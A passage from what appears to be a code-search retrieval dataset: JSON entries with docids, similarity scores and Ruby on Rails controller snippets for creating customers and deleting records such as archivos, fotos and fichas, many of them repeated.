= Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4fdfc7c17f79a564f6a386ca9fb61f8", "score": "0.6711154", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea9d1d6eb106c81015b6b95fa51dd898", "score": "0.67086214", "text": "def customer=(value)\n @customer = value\n end", "title": "" }, { "docid": "84072d9efbd5f15e996c91a4c490753d", "score": "0.6700193", "text": "def create\n @customer = Customer.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n \n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @customer }\n else\n format.html { render action: 'new' }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "002700f89fb3a72f6d1af637720732fb", "score": "0.6697227", "text": "def create\r\n @customer = Customer.new(params[:customer])\r\n if @customer.save\r\n format.html { redirect_to(@customer, :notice => 'Customer was successfully created.') }\r\n else\r\n format.html { render :action => \"new\"}\r\n end\r\n end", "title": "" }, { "docid": "a6b9e703a1917ca22468bd93dba9d689", "score": "0.6691398", "text": "def customers_new\n data = ActiveSupport::JSON.decode(request.body.read)\n newcustomer = ShopifyAPI::Customer.find(data[\"id\"].to_s)\n unless Customer.find_by_email(data[\"email\"].to_s) || out_of_dates \n @customer = Customer.new\n @customer.orders_count = newcustomer.orders_count\n @customer.total_spent = newcustomer.total_spent\n @customer.city = newcustomer.default_address.city\n @customer.accepts_marketing = newcustomer.accepts_marketing\n @customer.customer_id = newcustomer.id\n @customer.store_id = @s.id\n @customer.save\n customer_points(1)\n end\n head :ok\n end", "title": "" }, { "docid": "b3e66e0a32d8a029c770d5efa87f9a47", "score": "0.66815037", "text": "def create\n response = client.execute_request('customer.create', {\n data: attributes\n })\n\n if response.success? && response.fetch('status') == 'success'\n self.customer_id = response.fetch('customer_id')\n @errors = []\n return true\n end\n\n @errors = response.errors\n return false\n end", "title": "" }, { "docid": "57befb05eda52dcec9162052e40a06cb", "score": "0.6676972", "text": "def create_customer\n Stripe::Customer.create(\n :id =>\n :default_source => # from Stripe.js\n :description =>\n :email =>\n :source => # token from Stripe.js\n )\n end", "title": "" }, { "docid": "3ba3ead517e3e9559cc636bd859d5878", "score": "0.66748136", "text": "def test_add_one_customer\r\n sched = DMV_Schedule.new\r\n\tsched.new_customer( 'A', sched.next_ticket )\r\n\tassert_equal( sched.customer_count('A'), 1, \"Line A should have one customer\")\r\n\tassert_equal( sched.get_line('A'), [1], \"Line A should only contain ticket 1\")\r\n end", "title": "" }, { "docid": "bf7316c2525c1113da6f10752cfc4200", "score": "0.66679126", "text": "def create\n @customer = @store.customers.new(customer_params)\n\n respond_to do |format|\n if @customer.save\n format.html { redirect_to [@store,@customer], notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba313811d37884abba600f1fd738435e", "score": "0.6662668", "text": "def create\n @customer = Customer.new(customer_params)\n @customer.customer_no = Customer.counter\n respond_to do |format|\n if @customer.save\n format.html { redirect_to new_customer_session_path, notice: 'Details Added successfully' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
4ddb756bff6c8ac65743785f0092b01d
DELETE /archivos/1 DELETE /archivos/1.json
[ { "docid": "17554d6a976eb81206024e2a7b7121d8", "score": "0.7449365", "text": "def destroy\n @archivo.destroy\n respond_to do |format|\n format.html { redirect_to archivos_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "cd68023110a24857fabd47c43554bacd", "score": "0.7490742", "text": "def destroy\n @archivo = Archivo.find(params[:id])\n @archivo.destroy\n\n respond_to do |format|\n format.html { redirect_to archivos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "69c583fa71337f3412bf7bc34149f27e", "score": "0.7367104", "text": "def destroy\n @archivo.destroy\n respond_to do |format|\n format.html { redirect_to archivos_url, notice: 'El archivo ha sido eliminado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f9547bf4ca9285fce8d58efc9c7e461d", "score": "0.73626137", "text": "def destroy\n @arquivo = Arquivo.find(params[:id])\n\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id)\n\n if @comentarios\n @comentarios.delete_all\n end\n\n @arquivo.destroy\n\n respond_to do |format|\n format.html { redirect_to arquivos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5980c1bf575dadaf9ddb01707895e4f9", "score": "0.73059446", "text": "def destroy\n @arquivo = Arquivo.find(params[:id])\n @arquivo.destroy\n\n respond_to do |format|\n format.html { redirect_to arquivos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8ec51d1d5d828ec0c2e2d9eebeb6a17", "score": "0.7067993", "text": "def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c34095f3132226a37d4fff41c52c013e", "score": "0.7064913", "text": "def destroy\n @arquivo.destroy\n respond_to do |format|\n format.html { redirect_to arquivos_url, notice: 'Arquivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3f1b41a359a1d123516385f348667bc", "score": "0.70547724", "text": "def destroy\n arquivo = Arquivo.find(@pregoestitulosgrafico.arquivo_id)\n\n File.delete(arquivo.caminho)\n\n pregoestitulo = Pregoestitulo.find(@pregoestitulosgrafico.pregoestitulo_id)\n \n @pregoestitulosgrafico.destroy\n respond_to do |format|\n format.html { redirect_to pregoestitulo, notice: 'Arquivo excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.7053562", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "f8e153955e08e6e164f9d2a06935120b", "score": "0.700739", "text": "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "title": "" }, { "docid": "c2daca4c58ca45703085925299ed67ce", "score": "0.70038414", "text": "def delete(path = '/files/', params = {})\n request :delete, path, params\n end", "title": "" }, { "docid": "0a29f0df6b10c20682d0bafbdeca7f22", "score": "0.6993546", "text": "def destroy\n @material_apoyo = MaterialApoyo.find(params[:id])\n\n begin\n File.delete(@material_apoyo.url)\n @material_apoyo.destroy\n flash[:mensaje] = \"Archivo Eliminado del sistema.\"\n rescue Exception => e\n flash[:mensaje] = \"Error al intentar eliminar. #{e.message}\"\n end\n respond_to do |format|\n format.html { redirect_to material_apoyos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "336299e7c3f3b2494da680bdf6ff51f2", "score": "0.6946628", "text": "def destroy\n @ficha = Ficha.find(params[:id])\n @ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to fichas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.69179684", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6900882", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "f3a9af095d959db6ead4f247f87d7c3b", "score": "0.68998986", "text": "def destroy\n @imagen_pedido = ImagenPedido.find(params[:id])\n @imagen_pedido.destroy\n\n respond_to do |format|\n format.html { redirect_to imagen_pedidos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41addfb0d8722eaf90da45ee27e38b72", "score": "0.6886765", "text": "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "title": "" }, { "docid": "872ccb4afd8a2e1e87aedb5a8a1c1f86", "score": "0.68706214", "text": "def delete\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to avisos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5c83320eaf3d5ad995d32570c9c4c5a9", "score": "0.68553185", "text": "def destroy\n\tCloudinary::Api.delete_resources([@foto.public_id])\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to @proyecto, notice: 'Foto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c4be590a27649a1ea01c79384369e191", "score": "0.68548566", "text": "def destroy\n @veiculo = Veiculo.find(params[:id])\n @veiculo.destroy\n\n respond_to do |format|\n format.html { redirect_to veiculos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a5eea7c7a07ce3e7f95fa50802d596e", "score": "0.68486094", "text": "def delete path\n make_request(path, \"delete\", {})\n end", "title": "" }, { "docid": "50f072fd5df31b7e97a572ff3ea27397", "score": "0.68182194", "text": "def destroy\n @odontologo = Odontologo.find(params[:id])\n @odontologo.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/administrador/odontologos\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "46c06e4089ac2a42f2b120a8316dc480", "score": "0.6815951", "text": "def destroy\n @structure_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "title": "" }, { "docid": "d321e88849c54c3b15a12b17397531ac", "score": "0.6815298", "text": "def destroy\n @indicativo = Indicativo.find(params[:id])\n @indicativo.destroy\n\n respond_to do |format|\n format.html { redirect_to indicativos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e73919f7f907befdc3b9c12a3a2b6a8b", "score": "0.6815203", "text": "def destroy\n @file.destroy\n respond_to do |format|\n format.html { render text: 'created', layout: false, status: :created }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72ac27a7d3c22d92045e3a96b3178ab6", "score": "0.68074745", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72ac27a7d3c22d92045e3a96b3178ab6", "score": "0.68074745", "text": "def destroy\n @asignatura = Asignatura.find(params[:id])\n @asignatura.destroy\n\n respond_to do |format|\n format.html { redirect_to asignaturas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0900e503f6a548467ae62d95779f61eb", "score": "0.68068004", "text": "def destroy\n @motivo.destroy\n respond_to do |format|\n format.html { redirect_to motivos_url, notice: 'Motivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "173102f99685d9dd7db05d4a78afdc9d", "score": "0.68057215", "text": "def destroy\n @foto_galeri = FotoGaleri.find(params[:id])\n @foto_galeri.destroy\n\n respond_to do |format|\n format.html { redirect_to foto_galeris_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "de919536bb863ff990fda86ded61e32d", "score": "0.67983407", "text": "def destroy\n @fotos_empresa.destroy\n respond_to do |format|\n format.html { redirect_to fotos_empresas_url, notice: 'Fotos empresa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9151ad7ac2ad454c4c478efeaab1d55e", "score": "0.6798337", "text": "def destroy\n @objetivo.destroy\n respond_to do |format|\n format.html { redirect_to mision_objetivos_url, notice: 'Objetivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c9c818e91ff33ad3f157fd0b8bc40eb9", "score": "0.6795526", "text": "def destroy\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to fotos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "357bbfa9e4083b061763748d0c487c7c", "score": "0.67935836", "text": "def destroy\n @objetivo.destroy\n respond_to do |format|\n format.html { redirect_to objetivos_url, notice: 'Objetivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9dcd0bc6466e551c9d8fd37720ccf88f", "score": "0.678751", "text": "def destroy\n @ficha.destroy\n respond_to do |format|\n format.html { redirect_to fichas_url, notice: 'Ficha was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9dcd0bc6466e551c9d8fd37720ccf88f", "score": "0.678751", "text": "def destroy\n @ficha.destroy\n respond_to do |format|\n format.html { redirect_to fichas_url, notice: 'Ficha was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c176239ff8feb451ee2c86bbcf5c983b", "score": "0.67789865", "text": "def destroy\n @coleccion_imagene.destroy\n respond_to do |format|\n format.html { redirect_to coleccion_imagenes_url, notice: 'Coleccion imagene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "afa1f7719f167e0aaa29e5a39102359e", "score": "0.67764777", "text": "def destroy\n @foto = Foto.find(params[:id])\n @foto.destroy\n\n respond_to do |format|\n format.html { redirect_to fotos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6196311934e7522cf69509e072b8b0ac", "score": "0.6774198", "text": "def destroy\n @dispositivo = Dispositivo.find(params[:id])\n @dispositivo.destroy\n\n respond_to do |format|\n format.html { redirect_to dispositivos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9bbf00f8b09b1fb5a8b1bec5e8d1db80", "score": "0.6773939", "text": "def destroy\n @archivo_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to archivo_proyectos_url, notice: 'Archivo proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45c33be8ca9b5929221d5a64ca6c71cc", "score": "0.67681277", "text": "def destroy\n @oficio.destroy\n respond_to do |format|\n format.html { redirect_to oficios_url, notice: 'Oficio eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f2506cf2c3881edb21650423745baf1a", "score": "0.6766689", "text": "def destroy\n @foto.comentarios.each do |c|\n c.destroy\n end\n #@foto.calificaciones.each do |c|\n # c.destroy\n #end\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to current_usuario, notice: 'Foto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3037dfc0bc7e440f608d82dade84c61b", "score": "0.67665845", "text": "def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end", "title": "" }, { "docid": "ee8080891886a4f50035e02f47e137fe", "score": "0.67637974", "text": "def delete(path)\n request(:delete, path)\n end", "title": "" }, { "docid": "8d2b9e9ed6aa0d94cf3397bb68b62cd4", "score": "0.676293", "text": "def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "11ea59e4ce1803e67b3352fd2eaf9a0d", "score": "0.673695", "text": "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "title": "" }, { "docid": "e1d6f603cb5ea1e475ea71422432aeae", "score": "0.6725307", "text": "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "title": "" }, { "docid": "fb0aa47bd86e40184f34e8964cd2e2a5", "score": "0.6710115", "text": "def destroy\n @seo_file.destroy\n respond_to do |format|\n format.html { redirect_to seo_files_url, notice: 'Seo file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73b5dab038dddcc2ec3cb4dcdf57a2c7", "score": "0.6710089", "text": "def delete(path)\n path = format_path(path)\n bucket_path = get_bucket_path(path)\n date = gmtdate\n headers = {\n 'Host' => @aliyun_upload_host,\n 'Date' => date,\n 'Authorization' => sign('DELETE', bucket_path, '', '', date)\n }\n url = path_to_url(path)\n response = RestClient.delete(url, headers)\n response.code == 204 ? url : nil\n end", "title": "" }, { "docid": "d1f0a8e8c97a0438790f1ddeeecaca29", "score": "0.6708696", "text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "title": "" }, { "docid": "4541aec8ebc225d060ae1fcbd7986164", "score": "0.670857", "text": "def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b246ffb86d7f0e110b8b7f377e09c64b", "score": "0.67066306", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "title": "" }, { "docid": "b2171ade7f5c93b698ae367dde490cfb", "score": "0.67019683", "text": "def destroy\n @fichacortum.destroy\n respond_to do |format|\n format.html { redirect_to fichacorta_url, notice: 'Material eliminado correctamente!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a30771f848467357de66c90a815a3907", "score": "0.6697624", "text": "def destroy\n @archiv = Archiv.find(params[:id])\n @archiv.destroy\n\n respond_to do |format|\n format.html { redirect_to archivs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbf77526ef53ae407a21ad5298eaec5c", "score": "0.6696942", "text": "def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to recursos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fbeeabae0c43c939b90c1986690e86a3", "score": "0.6696005", "text": "def destroy\n @ativo.destroy\n respond_to do |format|\n format.html { redirect_to ativos_url, notice: \"#{type} was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bc325e90a8ac66cc3d4a52523c6cde18", "score": "0.66914624", "text": "def destroy\n @sample_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "title": "" }, { "docid": "e6d7ff0f87ed21c2c8b299f55cb5ba30", "score": "0.66887766", "text": "def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to datos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e207d9314eb968a539584d3b665c6c3a", "score": "0.6687413", "text": "def destroy\n @servicio = Servicio.find(params[:id])\n @servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to servicios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0745159c67076f6ff0011e8f585d1c9d", "score": "0.66870254", "text": "def destroy\n @client = Client.find(params[:id])\n Client.transaction do\n FileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"[email protected]_s]\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "e754fdc52bb6917fb79900b71e7ee809", "score": "0.6684457", "text": "def destroy\n @ficha_recinto.destroy\n respond_to do |format|\n format.html { redirect_to ficha_recintos_url, notice: 'Ficha recinto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dfe39b9925cf2914119fe715196dd2b0", "score": "0.66830206", "text": "def destroy\n @tipo_documento = TipoDocumento.find(params[:id])\n @tipo_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to tipo_documentos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "91ceac7bfc816354231b7dc5cae3fcec", "score": "0.66829914", "text": "def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3892811572f73702ac32312179383a1", "score": "0.66806406", "text": "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e128d7fe49fd3ed5a348008e2826fe1b", "score": "0.66796803", "text": "def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "240cb5e92084b7cac23651226bbfe799", "score": "0.6678753", "text": "def destroy\n category = Formulario::REFERENCES_CATEGORY[@formulario.categoria]\n file = File.join(\"#{Formulario::ROUTE_PATH}\",category, @formulario.title)\n FileUtils.rm file\n @formulario.destroy\n respond_to do |format|\n puts \"----------> #{formularios_url}\"\n format.html { redirect_to formularios_url, notice: 'Formulario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8b07c6fe2471a04f138ebe6a60ad9489", "score": "0.667201", "text": "def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ba73f7778fd052bffb03a2604bd800fe", "score": "0.66711265", "text": "def destroy\n @sistema = Sistema.find(params[:id])\n @sistema.destroy\n\n respond_to do |format|\n format.html { redirect_to sistemas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "58e24a46a492a0b6e93f18406295b383", "score": "0.66710585", "text": "def destroy\n @exura = Exura.find(params[:id])\n @exura.destroy\n\n respond_to do |format|\n format.html { redirect_to exuras_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.66669583", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.66669583", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.66669583", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.66669583", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "309e35bcaf69927ef8d52e35cc2f9c07", "score": "0.6666294", "text": "def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc642e5de02e58a030ab1f6a2ad83bff", "score": "0.6663299", "text": "def delete(path, opts = {})\n input_json = {\n path: path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/delete\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end", "title": "" }, { "docid": "602b74f62889f468a6b86230486e145d", "score": "0.6659362", "text": "def destroy\n set_redireccion\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to @redireccion, notice: 'Imagen was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0e173e33047982d942f39af5291a5163", "score": "0.66591305", "text": "def destroy\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n @observacao_vocacionada.destroy\n\n respond_to do |format|\n format.html { redirect_to observacao_vocacionadas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "68c728a5aca1f2198496dcd3af147928", "score": "0.66530037", "text": "def destroy\n @foto.destroy\n respond_to do |format|\n format.html { redirect_to fotos_url, notice: 'Foto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8b2a7f5480fec7220ba388dfcbbcf4bc", "score": "0.6651072", "text": "def destroy\n @pieza_fichatecnica.destroy\n respond_to do |format|\n format.html { redirect_to fichatecnica_pieza_fichatecnicas_url(@fichatecnica), notice: 'Pieza fichatecnica was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "268b8ce9bc6b8b6d81c6cd7d5a49e3e6", "score": "0.66469127", "text": "def destroy\n @veiculo.destroy\n respond_to do |format|\n format.html { redirect_to veiculos_url, notice: 'Veiculo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72900076d999a7f209829bdf16170bc7", "score": "0.6646552", "text": "def destroy\n @orcamento.destroy\n respond_to do |format|\n format.html { redirect_to orcamentos_url, notice: 'Orçamento apagado com sucesso!' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "725078136e73404e40f5ff62d701dd27", "score": "0.66407114", "text": "def destroy\n @ficha_doc.destroy\n respond_to do |format|\n format.html { redirect_to ficha_docs_url, notice: 'Ficha doc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ef2c0c142f43571ee1b97a992b2bb3ae", "score": "0.66376823", "text": "def delete(path)\n request 'DELETE', path\n end", "title": "" }, { "docid": "482bf80dbb9324958e0fa95c4c2c73ca", "score": "0.6636925", "text": "def destroy\n @image = Image.find(params[:id])\n \n imagen = @image.filename\n \n #function in manage_images.rb\n remove_image_file(imagen)\n \n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "63c13cca1dc29ba806d82c97928f38e2", "score": "0.66341126", "text": "def destroy\n @pagamento = Pagamento.find(params[:id])\n os = @pagamento.os\n @pagamento.destroy\n\n respond_to do |format|\n #format.html { redirect_to pagamentos_url }\n format.html { redirect_to os }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "60c27ae51d766664bcd6e7a82335124e", "score": "0.66338134", "text": "def destroy\n @datosgenerale.destroy\n respond_to do |format|\n format.html { redirect_to datosgenerales_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "390e12b36a193dc3709a82e9d0c66d55", "score": "0.6631232", "text": "def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "2c4e08b631d3c800588e220cf4042cd1", "score": "0.66298646", "text": "def destroy\n @proyecto_imagen.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_path(@proyecto_imagen.proyecto), notice: 'La imagen ha sido borrada' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7656a7d0621428e883f9ae3b41906524", "score": "0.6628357", "text": "def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to referencia_bases_url, notice: \"Referencia base was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c6d264050952b86e3aa9674d2ca92712", "score": "0.6626233", "text": "def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6f94efef10a1064c4624d6ed5dda787e", "score": "0.6626175", "text": "def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6f94efef10a1064c4624d6ed5dda787e", "score": "0.6626175", "text": "def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n 